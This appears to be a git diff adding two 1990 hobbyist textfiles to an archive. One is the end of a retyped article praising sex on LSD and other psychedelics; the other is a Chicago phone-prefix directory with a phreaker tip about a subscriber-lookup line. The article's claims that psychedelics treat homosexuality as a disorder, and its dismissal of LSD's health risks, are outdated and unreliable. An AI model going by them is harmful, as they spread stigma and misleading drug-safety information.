bigger +and more rigid than ordinarily. Sometimes, as happens with LSD and peyote, +too, orgasm does not occur at all, which causes him no great distress, since +he feels that this is a small price to pay for for the pleasure he has +enjoyed, and the impression he has made on his partner. When copulation does +not lead to orgasm, both partners still may achieve it by vigorous +masturbation. + + My own data regarding the contemporary use of marijuana use in this +country - in terms of its sexual effects - reflect the conflict in this +literature. Individual testimonials describe both sexual successes and +sexual failures. Overall, it appears that up to now, marijuana has been +about as likely to impair as to improve sexual performance. However, growing +acceptance of the drug may be making the latter effect the more common. Much +can depend on the users intention. Some prostitues smoke marijuana to +eliminate genital sensation - while at the same time they give the weed to +their customer to help him become more stimulated. In this case, it probably +works for the male because it makes him more responsive to the suggestion +that he will be more potent - and simultaniously it may reduce his +inhabitions and anxieties. + + It should be noted, however, that sensual effects may relate to the +potency of the drug. The strength of hemp products can depend on many things +- where the hemp is grown, how it is harvested and prepared and how it is +consumed. From one country to the next, or amoung regions of a country, +there are great diferences in the potency of the plants. As to consumption, +it is believed that smoking gives the strongest effect, by altering the +chemical composition of the drug. Research in these areas are now under way, +but results are still inconclusive. The eventual findings may explain to +some extent the different responses amoung marijuana smokers. But individual +psychology will still be a major factor. + + At its best, most marijuana consumed in the U.S. is a mild psychedelic +drug, affording what is rarely more than a pallid approximation of the +experiences possible with LSD and peyote. The effects of these two on sexual +intercourse are virtually identical, and a statement about LSD may well be +understood to apply just as well to peyote - and probably to ther LSD-type +psychochemicals, such as mescaline and psilocybin. + + I compiled my data on the sexual effects of psychedelic drugs in a series +of interviews, mostly "in depth" beginning in 1954 and continuing today. My +information is based on more than 300 drug-state sexual experiences on the +part of 94 persons, about two thirds of them males. Nineteen homosexual +experiences are included. The interview subjects were almost college +graduates from middle-class white Protestant backgrounds. Most of them took +the psychedelic drugs outside any formal research or therapeutic context and +then reported their experiences to me. + + In other words, I did not study the effects of psychedelics on sex in the +laboratory, as sexual intersourse has been so fruitfully studieds by Wiliam +Masters and Virginia Johnson in St. Louis. My firsthand research with +psychedelic drugs - which was largely concerned with matters other than sex - +has now been abruptly ended by laws prohibiting almost all research in this +area. But I did obtain, in the sessions I guided personally, some material +significant in understanding psychosexual disorders. It was surprising how +often these disorders seemed grounded in problem of values or, specifically, +in low self-esteem. Nowhere can values be so quickly and so drastically +changed as in LSD sessions. In several instances, discussed below, persons +with sexual problems showed noticeable improvemnet after their LSD sessions - +quite a remarkable occurance, inasmuch as the sessions were intended as +research and therapeutic results were not expected. + + To determine whether psychedelics drugs are, indeed, aphrodisiacs, we +must first determine what we mean by an aphrodisiac. If we mean that the +drugs specifically excite the sexual organs, then psychedelics are not +aphrodisiacs. If we mean that they produce or encourage sexual desire, again +they are not aphrodisiacs. But if we mean that the drugs can profoundly +enhance the quality of sexual acts that occur between people who would, in +any case, have had intercourse, then the drugs are aphrodisiacs, and my only +objection to the term in this context is that it will continue to be misused +by psychedelic or sexual extremists. + + Drug-state phenomena that occur during a sex act occur in other +drug-state contexts, too. The most common are changes in sensory perception, +in awareness of time, in the state of the ego, in one's relations to others +and in the emotions generally. In fact, these changes effect whatever one +does, whether it be listening to music, walking through a forest - or making +love. + + The positive effects of LSD in lovemaking can best be appreciated by +describing a hypothetical sexual act between husband-and-wife lovers - or +between single lovers, should that seem more adventurous. I will not, +however, hypothesize a casual erotic encounter between two near strangers, +because such an encounter would be less likely to produce so favorable an +experience. A strong emotional bond, or at least very positive feelings for +the partner, is much more likely to yield the richest, most intense and most +ecstatic experience. + + People rarely have sexual intercourse at the very start of a psychedelic +trip. First, as the perceptual changes occur and as consciousness is altered +in other ways, they need to orient themselves in this new world. In my +sample, this was true no matter how many previous LSD experiences they might +have shared. Typically, when there is sexual intercourse, it occurs at least +one hour and usually several hours after the onset of the psychedelic +effects. + + When the two people are longtime lovers, they may feel, in the drug +state, an emotional closeness as intense as they felt in the early, most +emotion-charged stages of being in love. Since visual perception is highly +responsive to the emotions, each partner may take on an appearance of +extraordinary radiance and beauty. Communication may seem multileveled, with +a greatly hightened sensitivity to nuances of meaning - in gestures, caresses +and words as well. If this couple decides to make love, they will bring this +heightened sensitivity to their union, and their desire and the act itself +may be suffocated with the same positive emotion - and with the same beauty - +that has been present in their perceptions. + + As foreplay and intercourse increaase their excitement, the couple will +become aware of the genital sensations described by Jacobus. The man may +feel that his erection is larger and more firm and his potency greater than +it has ever been before, heightening his confidence, producing a greater +sense of total genital arousal and increasing his capacity to respond. +Anxiety about the duration of the act will very quickly dissappear. The +couple will feel that their lovemaking will last just as long as they want it +to last, so that time no longer matters. In the more profound experiences, +there may be a sense of timelessness - of the eternal. + + Several elements combine to produce these novel and extrememly +pleasurable awarenesses of time. For one thing, intercourse always does last +much longer in terms of the clock. This is probably because of the mildly +anesthetized state of the sexual organs - although the term 'anesthesia' +seems strikingly inappropriate in describing these very intense sensations. +Moreover, diminished inhabitions soon produce self-confidence and spontaneity +that help reduce concern about the duration of the act. Finally, there is +the distortion - or 'slowing down' - of time that is a usual and important +aspect of the psychedelic state. This distortion (a term that is technically +correct but fails to convey its positive qualities) of subjective time is +experienced because the mental processes have been enormously accelerated. +So much may be experienced in a few minutes of clock-measured time that the +person typically declares that 'hours' or sometimes 'eons' seem to have +passed. A sexual union that in fact lasts 30 minutes or an hour may seem +'endless' or to have 'the flavor of eternity.' Lovemaking that lasts for +several hours is not too infrequent. + + The sexual union gathers ever more meaning and beauty as it progresses. +It may even take on symbolic and archetypal overtones. The couple may feel +that they are mythic, legendary, or more-than-human figures as they act out +in a timeless and beneficient space of eternally recurring drama of love and +creation. The feeling of being more than human does not indicate grandiosity +but, rather, that one has transcended the ordinary boundaries of self, the +limits of time and space, so that something more, some infusion of the divine +or supernatural, must have occured. This awareness is accompanied by +profound feelings of security, tenderness, humility and gratitude. Sometimes +only one partner will enjoy this transcendental experience, but with +surprising frequency the feelings are shared. + + When sexual union includes altered states of consciousness such as these, +it is properly described as ecstatic. It may progress to include one or even +several instances of apparent physical and psychic melting into and becoming +one with the partner. Whether this occurs in a sexual union or in a mystical +context, or in a combination of the two, it is almost always regarded as one +of the most profound and fulfilling experiences human life has to offer. The +one that the two become is a unity much greater than its components. +Religiously devout or mystically inclined people may have the sense of a +unity that is also a trinity, with God present in the oneness. In any case, +an experience of this order can hardly be dismissed as 'sexual mysticism' - a +term sneeringly used by some of the more rabid opponents of psychedelic +experimentation. Nor can it be tossed away with some labels from +psychopathology, such as 'ego dissolusion' and 'depersonalization.' It can +be one of the most beautiful and important experiences in life. + + In view of all that has gone before, the orgasm - when it arrives - may +seem something of an anticlimactic climax. Some people, in this orgasm-happy +society, learn for the first time how much more than can be to sex than the +brief intensity of the climax - and how much their past sexual experience has +been impoverished by the urgent and infantile drive toward orgasm that is so +prevalent in Western societies. + + However, the orgasm, too, is 'psychedelic' - that is, magnified or +intensified. Time distortion can greatly prolong it, and there is an +awareness of the whole process from beginning to end, in far greater detail. +Men very often report sensations of gathering tension, concentration of +energy and then an extremely acute awareness of the spasmodic propulsion of +the ejaculate, which is plainly and pleasurably felt as it travels along the +urethra and is ejected into the vagina of the partner. At the same time, +there is a greatly intensified awareness of the genital organs of the +partner: Their texture, temperature and movement. Some women for the first +time become keenly aware of the pulsations of the male organ as climax begins +- and of the ejaculate as they receive it. + + Orgasm is often experienced upon two levels. It is the most intensely +erotic aspect of the act, as consciousness seems totally absorbed in the +orgasmic sensations. And yet there seems also to be another consciousness, +which does not dilute but rather reinforces the genital consciousness. This +is the sense of attaining the beautiful climax of a beautiful experience. + + Remarkably, in view of the richness of the experience, throughout these +unions there is an undiminished and sometimes greatly intensified awareness +of the partner. One does not lapse into a selfish and exclusive +preoccupation with the components of ecstasy. + + In almost 25 percent of the sexual acts I recorded, one or both partners +did not reach orgasm. This was nothing new for most of the women; but for +some of the men, it was a novel experience. Typically, however, the absence +of orgasm was not a disappointment. The act itself was so fulfilling that +the attitude was: Who cares whether there was an orgasm? This, too, can be a +valuable experience for those women who sledom climax in their ordinary +lovemaking. It teaches them that even without orgasm, sex can provide +remarkable fulfillment. + + Under the influence of psychedelics, the anorgasmic woman can experience +great joy in intercourse and derive gratification from conferring just as +much joy on her partner. If this lesson were learned and applied to all +intercourse, many people - both male and female - would be better off for it. +It is worth noting that at least some have learned it through psychedelic +experimentation. + + The foregoing description was of a maximal drug-state sexual experience. +Slightly more than half of my heterosexual subjects reported extraordinary +unions resembling or approaching this at least once. The frequency probably +would have been lower with younger or with less intelligent individuals, +because richness of personality is a key factor in determining the richness +of the psychedelic experience. An earned capacity for appreciating the +complex and profound must already exist. + + My intention here is not to promote the haphazard and now illegal use of +psychedelic drugs - with or without sexual intercourse. But it is only +realistic to admit that many thousands of people are taking psychochemicals +without screening or adequate guidance. Of these, a good many are also +experimenting with sex. It seems best that they be informed about +possibilites beyond 'kicks' and trivia, so that they can explore the many +valuable aspects of an experience that might otherwise be wasted. + + My research indicates that homosexuals in psychedelic states enjoy +profound, ecstatic sexual experiences with less frequency - and less +intensity - than their heterosexual counterparts. Female homosexuals seem +more likely to have profound sexual experiences than male homosexuals. The +very practical matter of the positioning of the bodies appears to provide a +partial explanation. The ecstatic experience seems more likely to occur when +one faces the partner while the act is being performed. Social attitude +toward homosexuality, as well as the homosexual's typical guilt and low +self-esteem, may also be deterrents. In the drug state, homosexual acts are +usually specifically erotic and less invested with other positive meaning. +However, the physical pleasure of genital, oral and anal sensations is +enhanced, just as with heterosexuals. + + Claims that LSD-state sexual intercourse can 'cure' homosexuality and +frigidity may lead to enormous disappointment - and possibly serious harm - +to psychosexually disturbed people, who have enough problems already. Under +the influence of psychedelics, a failure to funtion as promised might cause a +powerful reinforcement of existing disorders, making any cure more difficult. + + Nor is it invariably, or even frequently, true that, in the words of +Timothy Leary, a "neurological and cellular fidelity" delvelops between two +person who have had sexual relations during an LSD experience. The notion is +poetic but inaccurate. Even the most beautiful drug state, sexual unions do +not always guarantee change in a previous relationship. Leary's devotees +sometimes tell me, with what sometimes seems more hope than conviction, that +Leary speaks a 'private language,' the better to convey the ineffable truths. +However, the fact is that he is taken literally by a great many people. He +has said, for instance, that "in a carefully prepared, loving LSD session, a +woman will inevitably have several hundred orgasms." I have yet to hear from +anyone else a single instance remotely approximating this; and I feel rather +confident that if it had been happening with any frequency, the world would +not have had to wait for Leary to announce it. + + While LSD can hardly be considered a panacea for sexual disorders, it +does hold promise for becoming an extremely valuable tool in treating those +and many other promises. And it will become even more valuable when +therapists stop regarding it as adjunt to their old procedures and develop +psychedelic therapies permitting them to make full use of the great wealth of +phenomena available. + + Scientific literature on psychedelics includes hundreds of reports of +successful treatment, even with the old procedures, for such disorders as +homosexuality, figidity, impotence, fetishism and even transvestism, one of +the most difficult to treat of all sexual deviations. Good progress in these +areas has been made in England, and it is certainly unfortunate that +psychotherapists in this country are legally unable to work extensively with +psychedelics. + + Some homosexuals, for instance, as part of their low self-esteem, have a +distorted body image. They think they are ugly or deformed when they are +not, and may believe that they have an abnormally small penis - when they +actually have a normal one. In LSD sessions I recorded, the body image of +homosexualsd sometimes became normalized, heightening self-esteem and +producing definate trends toward heterosexualization. Here, homosexuality +seemed based mainly on values - not on some long past traumatic experience. +In any case, heterosexualization could occur without any trauma being dealt +with. However, when there was no subsequent therapy, the subjects' +homosexuality returned within a few months after their LSD sessions were over. + + Some men with potency problems decided in their LSD sessions that their +sexual organs were not too small and afterward their potency improved, +sometimes permanently. A frigid woman discovered that an 'inner voice' had +been calling her a 'fake' and an 'unworthy person.' The voiced ordinarily +talked to her 'on some below level consciousness'; but in her LSD session, +she heard it clearly and she was able to refute it just as clearly. After +freeing herself from this voice, she felt she no longer had to punish herself +by denying herself sexual pleasure. Her frigidity soon was overcome - and +had not reappeard almost four years later. + + The therapeutic value of LSD is by no means limited to sexual disorders. +Alcoholics intractable to all previous therapies have quit drinking or become +much improved after treatment with psychedelics. Cure and improvement rates +range anywhere from 25 to 75 percent, and some of the studies have been very +well controlled. In other cases previously withdrawn, schizophrenic children +improved when psychedelics were administered. Given the questionable value +of some approved psychoterapies, it is a wonder that public outcry has not +demanded increased use of psychedelics in the areas where there promise seems +so great. + + Possibly such a great demand is now discouraged by recent evidence +linking LSD to chromosomal abnormalties. This charge must be considered in +proper perspective. The fact is that no one, at the present time, can say +how important LSD-caused chromosomal damage may be. We do know that rather +similar chromosomal changes are produced by many products widely used - +caffeine (in coffee and cola drinks), alcohol, antibiotics and a wide range +of drugs about which no such furor has been raised. Live measles vaccine, in +particular, quickly produces chromosomal breaks. We know, too, that LSD has +been in use for a quarter of a century, apparently without causing cancer or +deformed infants - the two main specters with which chromosomal damage of +this kind seems to confront us. Moreover, the U.S. Government continues to +sponser a few LSD therapy projects, so Government scientists must not feel +the risks are too great. The sensible position must be to weigh LSD's value +against possible, but not demonstrated, dangers. The evidence is sufficent +to warrant withholding LSD from pregnant females. + + This may also be the place to mention briefly a new psychedelic +substance, STP. STP is yet more potent than LSD, producing effects that may +continue for days. It also produces far more bad trips and frequent +aftereffects. The chemical analysis of STP indicates similarities to +mescaline and the amphetamines, but more refined analysis is needed. + + Cases brought to my attention include aftereffects such as partial +amnesia, frightening perceptual changes and recurring states of panic. One +man, for example, weeks later, felt his head alternately growing to the size +of a watermelon and shrinking to the dimensions of a pea. It is too soon to +say whether these sensations will be permanent. No one I have talked to +appears to have had sexual intercourse under STP. For those persons, at +least, the experience was much too overwhelming. Neither does it seem likely +at this point that STP will have much value for research or therapy. Pending +further information, the best advice is to leave the drug alone. + + With STP, we may be witnessing the unhappy result of too many +unscientific medical pronouncements combined with too many scare stories +about psychedelic drugs. A number of physicians have greatly exaggerated the +dangers of the old psychedelics - and even of marijuana. Now, with a drug +that seems to be much more dangerous, these 'scientists' have forged a +credibility gap that prevents many people - especially those in the +psychedelic underground - from taking their claims seriously. Warnings about +STP from physicians have been much less effective than those voiced by the +underground press. The medical profession should consider this lesson and +perhaps profit by it. More psychedelics will be created and some will almost +certainly be very dangerous. Disaster could ensue unless scientists manage +to regain the confidence in the public. + + In the case of LSD and the 'milder' psychedelics, the chances of +unfortunate results can be reduced by following a few basic precautions. +Since psychedelic experience can magnify tendendies in onself, in others and +in the surroundings, psychedelics should not be taken in an environment that +will threaten or displease. When this precaution is ignored, there can be +bad trips - whether or not intercourse is a part of the experience. + + Sexologists always urge a pleasent setting for intercourse - as well as a +partner one respects and relates to positively. This becomes even more +important when the couple has taken psychedelics. With LSD, a drab, dirty +room that might ordinarily be ignored can become a filthy, sordid pesthole, +and this perception of the room can saturate the total experience. Similarly, +sex with a person about whom one has negative feelings can become, with LSD, +an experience of extreme repulsion - with guilt, depression or anxiety as a +result. In two cases I know of, males took LSD, picked up prostitues and had +very bad trips. Both men, of course, had basically negative feeling about +prostitues and these emerged in a much heightened form during the sexual act. + + Both men were initially aroused, but soon began to feel degraded and then +powerfully repelled by the situation. One felt that the woman's body was +coated with "a dirty, poisonous substance" that rubbed off on his own body +and infected him. He managed to get her out of the room, was near panic for +a long while and, after the effects of the LSD had worn off, he went into a +depression that lasted for some days. In fact, his perception might not have +been completely imaginative, since he contracted gonorrhea as a result of +this contact. In the other case, the male found the girl becoming more and +more ugly as he looked at her. Then the room became similarly ugly. He +became nauseous, then was overwhelmed by feelings of guilt about his +'prejudice.' That man was white and Jewish and the woman Negro made the +situation especially complicated and charged with emotion. + + With LSD, some peope may become aware of what they feel are opposite-sex +components of their personality. This they interpret as evidence that they +are homosexual. Some males with effeminate tendensies, who strongly suppress +their effeminacy, have felt they were undergoing a physical sex change. +Their bodies seemed to have female breasts and genetalia. Understandably, +this kind of experience, too, can lead to anxiety and depression. And +afterward, the person may believe that his 'true personality' was revealed. + + One should never regard drug-state as necessarily more revealing than +other types of experience. With LSD-type drugs, what might be a passing and +easily dismissed idea can become a prolonged a vivid mental event. But this +doesn't mean that it necessarily has greater validity than the passing idea +would have ordinarily. Such phenomenea are best regarded as drug-state +curiousities that will not effect the normal personality and behavior. + + When negative perceptions or emotions occur, and if they last long enough +to be distressing, it is best not to analyze them. Try to get interested in +something else. Psychedelic veterans have learned to do this. Similarly, +it's often easy to divert the partner, should his or her distress become +obvious. This might be done with an especially interesting or amusing remark +or by telling the other person how much pleasure he or she is giving. If, as +ought to be the case, the two people are lovers or good friends, then it is +likely that they will know how to help each other, should the need arise. +For this reason, too, psychedelic experience is not a desirable arena for +casual sex between two strangers. + + Spontaneous changes in visual perseption may also provide very pleasant +experiences. One man, for example, related that his girlfiend changed as he +held her in his arms, first to Helen of Troy, then to Cleopatra, then in +successive metamorphoses to yet other women, so that he quickly "made love to +all the famous beauties in history." After a while, the girl resumed he own +appearance, although her beauty was greatly heightened, and he "thought he no +less lovely than any of the others and appreciated very much her part in +providing such a great experience." + + There are a host of similar erotic phenomena that sometimes occur in the +psychedelic state. These might seem trivial and self-indulgent compared with +the transcendence of the ecstatic union, but they are intereting, +nonetheless. For many people, for instance, it is possible to 'genitalize' +almost any part of the body, by consciously transferring the response +capacity from the sexual organs to some other part, such as a finer. Rubbing +one's finger against a fabric can provide sensations akin to those +experienced in masturbation. A couple might even genitalize the lips and the +mouth, so taht kissing affords sensations very much like those usually +experienced in mouth-genital contacts or in sexual intercourse. + + One man, who had taken a large dose of LSD (about 500 micrograms), found +himself unable to obtain an erection, despite much assistance from his +partner. Abandoning the effort, they lay side by side. Suddenly, he became +aware of his entire body as "one great, erect penis. The World," he said, +"was my vagina and I had a sense of moving in and out of it, with intense +sexual sensations." + + A few research subjects have reported similar erotic sensations from +listening to music. One man reported "the sexualization of my entire body as +I listened to Beethoven's Pastoral Symphony. The music washed over every +inch of my body, giving sexual sensations like those of a very intense +orgasm. The pleasure became so intense as to be unendurable. I had to shut +off the phonograph. I wondered at every instant if I would not have a real +ejaculation." In a subsequent LSD experience, he responded to the same +recording in the same way. No other music produced the phenomenon, and he +never learned why the Pastoral should have such an effect. With another +subject, any symphonic music produced strong sexual sensations. + + When males see vivid images or visions, they almost always include +beautiful nudes, with Balinese dancing girls and other Orientals appearing +frequently. Drug-state visions in America are shot through with this +predilection for the East - in archetectural and religious imagery as well as +in nudes. But just as women are less interested in erotic art, so do they +have less erotic imagery. + + The aftereffects of drug-state sex can be of very great value, though +often the results don't last. As an immediate aftermath of a good sexual +experience under LSD, some couples report an over-all improvement in their +relationship - and a specific improvement in their sex life. Frequently, a +portion of the drug-state perception of the womans greatly heightened beauty +carries over, so that she continues to appear more attractive. Sometimes, +with psychedelics, inhabitions fall away, allowing people to engage in sexual +practices that are normal and that had been desired, but which inhabition +prevented. Extensive caressing of the genitals and mouth-genital stimulation +are frequent examples. Breaking through such blocks can be permanent. +Especially amoung married couples, who had largely ceased to attract each +other sexually, there can be a reactivation of old desires and emotions. +Most of these beneficial aftereffects are lost in days, weeks or months, but +they can be retained - or possibly reactivated by another LSD session - if +they are regarded as important enough to be worth preserving. + + Because ecstatic union is so rich an experience and may have very +positive effects on a relationship, it is obviously desirable that it occur +and be repeated. This is possible without psychedelics, but the necessary +changes in consciousness occur more readily when they have first been +experienced in LSD-type states. After LSD, memories and pathways in the +nervous system have been strongly established and can be explored again more +easily. + + To take some terminology from the theologians, we have been busy for a +long while 'demythologizing' sexual intercourse - divesting it of a sense of +sin and a necessary connection with procreation. But a totally +demythologized sex can be mechanical, vapid and banal if it remains without +larger significance. Ecstatic sexual experience may be the new and valuable +'remythologizing' agent. With and without psychedelic drugs, we may be able +to invest the sexual union with new beauty and meaning. + + + *=-- --=* + { -=*/> Buzzz Bros. <\*=- } + { MCMXC } + *=-- --=* + + You have the right to free speech - + As long as you're not dumb enough to actually try it. + + +__________________ + +Special Thanks to: +__________________ + +The old man at Maxwell St. that sold me the magazine for $1 +93.1 FM WXRT (Chicago) +The return of RIPCO (312) 528-5020 - after the Operation SunDevil bust +Anyone who actually took the time to read the whole file +3rd BASS +The Hyatt Regency Chicago + +(c) MCMXC -=*/> Buzzz Bros. <\*=- diff --git a/textfiles.com/groups/BUZZ/bbrosn03.txt b/textfiles.com/groups/BUZZ/bbrosn03.txt new file mode 100644 index 00000000..a34d021f --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbrosn03.txt @@ -0,0 +1,437 @@ + the + + -=*/> Buzzz Bros. <\*=- + + present + + a-generally-useless-but-here-it-is-anyway-file: + + *=-- --=* + { The 312 and 708 Prefix Directory } + + Text Entry By + { Major Havoc } + *=-- --=* + + -=*/> 312 <\*=- + + 202 Kildare 204 Superior + 207 Canal West 214 Kranklin + 221 South Chicago 222 Illinois - Dearborn + 224 Stewart 225 Calumet + 226 Monroe 227 Humbolt + 229 Summit 230 Franklin + 237 Merrimac 238 Beverly + 239 Beverly 241 Dorchester + 242 Austin (Cicero) 243 Monroe + 245 Illinois - Dearborn 247 Lafayette + 248 Lakeview 252 Humboldt + 254 Lafayette 261 Austin + 262 Rogers Park 263 Franklin + 264 Pullman 265 Kedzie + 266 Superior 267 Irving + 267 Oakland 269 Franklin + 271 Edgewater 273 Rogers Park (Evanston) + 274 Rogers Park 275 Edgewater + 276 Humboldt 277 Lawndale + 278 Humboldt 280 Superior + 281 Lakeview 282 Kildare + 283 Kildare 284 Portsmouth + 285 Oakland 286 Kildare + 287 Austin 288 Dorchester + 292 Humboldt 294 Wabash + + + 302 Superior 306 Superior + 308 Canal East 321 Illinois - Dearborn + 322 Wabash 324 Dorchester + 326 Calumet 327 Lakeview + 329 Illinois - Dearborn 332 Franklin + 334 Edgewater 337 Superior + 338 Rogers Park 341 Wabash + 342 Humboldt 346 Franklin + 347 Wabash 348 Lakeview + 353 Wabash 363 Dorchester + 368 Franklin 372 Franklin + 373 Oakland 374 South Chicago + 375 South Chicago 376 Lafayette + 378 Austin 379 Austin + 380 Park Ridge 384 Humboldt + 399 Park Ridge + + + 404 Lakeview 407 Franklin + 408 Wabash 410 Illinois - Dearborn + 413 Monroe 417 Superior + 419 Franklin 421 Monroe + 427 Wabash 431 Wabash + 434 Prospect 435 Wabash + 436 Prospect 440 Superior + 443 Franklin 444 Franklin + 445 Beverly 454 Canal West + 461 Wabash 463 Wabash + 465 Rogers Park 467 Illinois - Dearborn + 468 Pullman 471 Prospect + 472 Lakeview 476 Prospect + 477 Lakeview 478 Irving + 483 Stewart 486 Humboldt + 487 Stewart 488 Stewart + 489 Humboldt 493 Dorchester + + + 507 Franklin 508 Rogers Park + 509 Irving 521 Lawndale + 522 Lawndale 523 Lafayette + 525 Lakeview 527 Illinois - Dearborn + 528 Lakeview 533 Kedzie + 536 Oakland 538 Oakland + 539 Irving 542 lawndale + 545 Kildare 548 Oakland + 549 Lakeview 555 Directory Assistance + 558 Franklin 559 Canal West + 561 Edgewater 565 Lake Shore + 567 Calumet 568 Pullman + 569 Newcastle (Elk Grove) 580 Franklin + 581 Portsmouth 582 Portsmouth + 583 Irving 585 Portsmouth + 588 Irving + 589 River Grove 591 Mass Calling + 592 Franklin + + + 601 O'Hare 602 Stewart + 604 Irving 606 Franklin + 609 Franklin 616 Lake Shore + 621 Franklin 622 Merrimac + 624 Oakland 625 River Grove + 626 Austin 630 Franklin + 631 Newcastle 633 Monroe + 637 Merrimac 638 Kedzie + 641 Franklin 642 Superior + 643 Dorchester 644 Illinois - Dearborn + 645 Illinois - Dearborn 646 Mitchell + 648 Canal West 649 Superior + 650 Lafayette 651 Stewart + 660 Pullman 661 Illinois - Dearborn + 663 Wabash 664 Superior + 666 Monroe 667 Dorchester + 670 Illinois - Dearborn 684 Dorchester + 685 Kildare 686 O' Hare + 693 Park Ridge 694 Des Plaines + + + 701 Franklin 702 Dorchester + 703 Superior 704 Franklin + 707 Canal West 712 Superior + 714 Park Ridge 715 Canal East + 716 Canal West 721 South Chicago + 722 Kedzie 723 Stewart + 725 Kildare 726 Franklin + 727 Franklin 728 Edgewater + 731 South Chicago 732 Franklin + 733 Monroe 734 South Chicago + 735 Portsmouth 736 Kildare + 737 Prospect 738 Monroe + 743 Rogers Park 744 Illinois - Dearborn + 745 Merrimac 750 Franklin + 751 Superior 752 Dorchester + 753 Dorchester 761 Rogers Park + 762 Lawndale 763 Newcastle + 764 Rogers Park 765 Wabash + 767 Portsmouth 768 South Chicago + 769 Edgewater 770 Monroe + 772 Humboldt 774 Newcastle + 775 Newcastle 776 Prospect + 777 Kildare 778 Prospect + 779 Beverly 781 Franklin + 782 Franklin 783 Stewart + 784 Edgewater 785 Pullman + 786 Wabash 787 Superior + 791 Calumet 792 Newcastle + 793 Wabash 794 Kildare + * 796 Customer Name and Address 797 Franklin + + + 804 Merrimac 807 Franklin + 808 Calumet 812 Franklin + 814 Franklin 819 Lake Shore + 821 Pullman 822 Illinois - Dearborn + 826 Kedzie 828 Illinois - Dearborn + 829 Monroe 836 Illinois - Dearborn + 838 Portsmouth 842 Calumet + 845 Franklin 847 Stewart + 847 Lafayette 853 Franklin + 854 Austin 855 Franklin + 856 Lake Shore 861 Lake Shore + 871 Lakeview 873 Stewart + 874 Stewart 875 Canal East + 876 Canal East 878 Edgewater + 880 Lakeview 881 Beverly + 883 Lakeview 886 Wabash + 889 Merrimac 890 Lafayette + 899 Franklin + + + 901 Franklin 902 Canal West + 906 Canal East 907 Edgewater + 908 Superior 915 Superior + 917 Franklin 918 Prospect + 921 Austin 922 Wabash + 923 Illinois - Dearborn 924 Oakland + 925 Prospect 927 Lafayette + 928 Pullman 929 Lakeview + 930 Canal West 933 South Chicago + 935 Lakeview 936 Franklin + 938 Lake Shore 939 Wabash + 942 Monroe 943 Superior + 944 Superior 947 Dorchester + 951 Superior 955 Dorchester + 962 Stewart 973 Rogers Park + 975 Lakeview 976 Public Announcement Service + 977 Franklin 978 South Chicago + 984 Franklin 987 Wabash + 988 Superior 989 Edgewater + 992 Schiller Park 993 Canal East + 994 Stewart 995 Pullman + 996 Monroe 997 Monroe + + * Note: I found it rather 'odd' that they listed CNA as taking the entire 796 + prefix, so I did some playing around. Try calling any other number + rather than 796-9600 (which is actually CNA). Pretty wierd, 'eh. + + -=*/> 708 <\*=- + + 210 Riverdale 205 Northbrook + 206 Homewood 208 Geneva + 209 Oak Park 210 Harvey + 213 Bartlett 215 Wheeling + 216 Bellwood 218 Oak Brook + 223 Grayslake 228 Elk Grove + 231 West Chicago 232 Geneva + 234 Lake Forest 240 Schaumburg + 244 Waukegan 246 La Grange + 249 Waukegan 250 Bensenville + 251 Wilmette 253 Arlington Heights + 255 Arlington Heights 256 Wilmette + 257 Lemont 258 Peotone + 260 Wheaton 270 Round Lake + 272 Northbrook 279 Elmhurst + 289 Bartlett 290 Elk Grove + 291 Northbrook 293 West Chicago + 295 Lake Forest 296 Des Plaines + 297 Des Plaines 298 Des Plaines + 299 Des Plaines + + + 301 Orland Park 303 Willowcrest + 304 Barrington 305 Naperville + 307 Roselle 310 Willowcrest + 314 Roselle 317 Deerfield + 318 Park Ridge 323 Hinsdale + 325 Hinsdale 328 Evanston + 330 Schaumburg 331 Harvey + 333 Harvey 335 Homewood + 336 Waukegan 339 Harvey + 343 Bellwood 344 Bellwood + 345 Bellwood 349 Orland Park + 350 Bensenville 351 Roselle + 352 La Grange 354 La Grange + 355 Naperville 356 Lake Villa + 357 Naperville 358 Palatine + 359 Palatine 360 Waukegan + 361 Palos Park 362 Libertyville + 364 Elk Grove 365 Elburn + 366 Oak Park 367 Libertyville + 369 Naperville 371 Blue Island + 377 Geneva 381 Barrington + 382 Barrington 383 Oak Park + 385 Blue Island 386 Oak Park + 387 La Grange 388 Blue Island + 389 Blue Island 390 Des Plaines + 391 Des Plaines 392 Arlington Heights + 393 Warrenville 394 Arlington Heights + 395 Antioch 396 Blue Island + 397 Willowcrest 398 Arlington Heights + + + 402 Northbrook 403 Orland Park + 405 Deerfield 406 Geneva + 409 Hillside 412 Bellwood + 416 Naperville 418 Calumet City + 420 Naperviller 422 Oak Lawn + 423 Oak Lawn 424 Oak Lawn + 425 Oak Lawn 426 Dundee + 428 Dundee 429 Tinley Park + 430 Hickory Hills 432 Highland Park + 433 Highland Park 437 Elk Grove + 438 Lake Zurich 439 Elk Grove + 441 Winnetka 442 Cicero + 448 Palos Park 449 Hillside + 450 Bellwood 451 River Grove + 452 River Grove 453 River Grove + 455 River Grove 456 River Grove + 457 Newcastle 458 Summit + 459 Wheeling 460 Orland Park + 462 Wheaton 464 Plato Center + 466 Sugar Grove 469 Glen Ellyn + 470 Morton Grove 473 North Chicago + 474 Calumet City 475 Evanston + 479 Mokena 480 Northbrook + 481 Park Forest 482 La Grange + 484 Cicero 485 La Grange + 490 Willowcrest 491 Evanston + 492 Evanston 495 Lombard + 496 Summit 497 Fox Lake + 498 Northbrook 499 Oak Lawn + + + 501 Winnetka 503 Park Forest + 505 Naperville NE 506 Arlington Heights + 510 Wheaton 512 Downers Grove + 513 Geneva 515 Downers Grove + 516 Cary 517 Schaumburg + 518 Park Ridge 519 Willowcrest + 520 Wheeling 524 Oak Park + 526 Wauconda 529 Roselle + 530 Elmhurst 531 Bellwood + 532 Tinley Park 534 Governors Park + 535 Tinley Park 537 Wheeling + 540 Lake Zurich 541 Wheeling + 543 Lombard 544 Bellwood + 546 Round Lake 547 Bellwood + 551 Dundee 552 Plano + 553 Yorkville 554 Oswego + 555 Directory Assistance 556 Big Rock + 557 Kaneville 560 Tinley Park + 562 Hillside 563 Summit + 564 Northbrook 566 Libertyville + 570 Evanston 571 Oakbrook + 572 Oak Brook 573 Oak Brook + 574 Oak Brook 575 Oak Brook + 576 Schaumburg North 577 Arlington Heights + 578 North Chicago 579 La Grange + 584 Geneva 587 Fox Lake + 590 Arlington Heights 591 Mass Calling + 593 Elk Grove 594 Summit + 595 Bensenville 596 Harvey + 597 Blue Island 598 Hickory Hills + 599 Hickory Hills + + + 603 Roselle 605 Schaumburg + 612 Roselle 614 Tinley Park + 615 Lake Forest 617 Elmhurst + 619 Schaumburg 